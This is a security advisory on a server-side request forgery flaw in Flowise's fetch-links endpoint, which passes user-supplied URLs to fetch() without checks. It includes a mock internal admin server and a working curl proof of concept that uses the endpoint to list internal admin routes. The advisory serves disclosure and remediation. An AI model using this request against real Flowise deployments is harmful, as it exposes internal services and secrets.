FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability
### Summary
A Server-Side Request Forgery (SSRF) vulnerability was discovered in the `/api/v1/fetch-links` endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.
### Details
#### Vulnerability Overview
The `fetch-links` feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.
The issue arises because the feature performs these HTTP requests **without validating the user-supplied URL**. In particular, when the `relativeLinksMethod` parameter is set to `webCrawl` or `xmlScrape`, the server directly calls the `fetch()` function with the provided URL, making it vulnerable to SSRF attacks.
#### Root Cause
The `fetch()` function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.
### Taint Flow
#### • Taint 01: Route Registration
https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24
#### • Taint 02: Service
https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18
#### • Taint 03: xmlScrape
https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478
### PoC
#### PoC Description
This vulnerability was verified in a local development environment. The Flowise server was running at `http://localhost:3000`, and authentication was performed using the Bearer token:
```
tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q
```
Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:
- `/api/users` (User Management)
- `/api/secrets` (API Keys)
- `/api/database` (Database Config)
This demonstrated that an attacker could enumerate internal web service structures.
#### Internal Admin Server (Mock)
```python
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/')
def admin():
return render_template_string("""
Internal Admin Panel
""")
@app.route('/api/users')
def users():
return render_template_string("""
Users
Back
""")
@app.route('/api/secrets')
def secrets():
return render_template_string("""
Secrets
Back
""")
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8080)
```
#### curl Request Example
```bash
curl -G 'http://localhost:3000/api/v1/fetch-links' \
--data-urlencode 'url=http://127.0.0.1:8080/' \
--data-urlencode 'relativeLinksMethod=webCrawl' \
--data-urlencode 'limit=10' \
-H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \
-s | jq '.'
```
### Impact
This is a **Server-Side Request Forgery (SSRF)** vulnerability.
- **Who is impacted?** Any user running Flowise server exposed to external traffic.
- **Risk:** Attackers can leverage the Flowise server to:
- Explore internal web applications
- Bypass firewall rules
- Access sensitive administrative
interfaces
- Leak internal configuration, credentials, or secrets
This vulnerability significantly increases the risk of **internal service enumeration and potential lateral movement** in an enterprise environment.
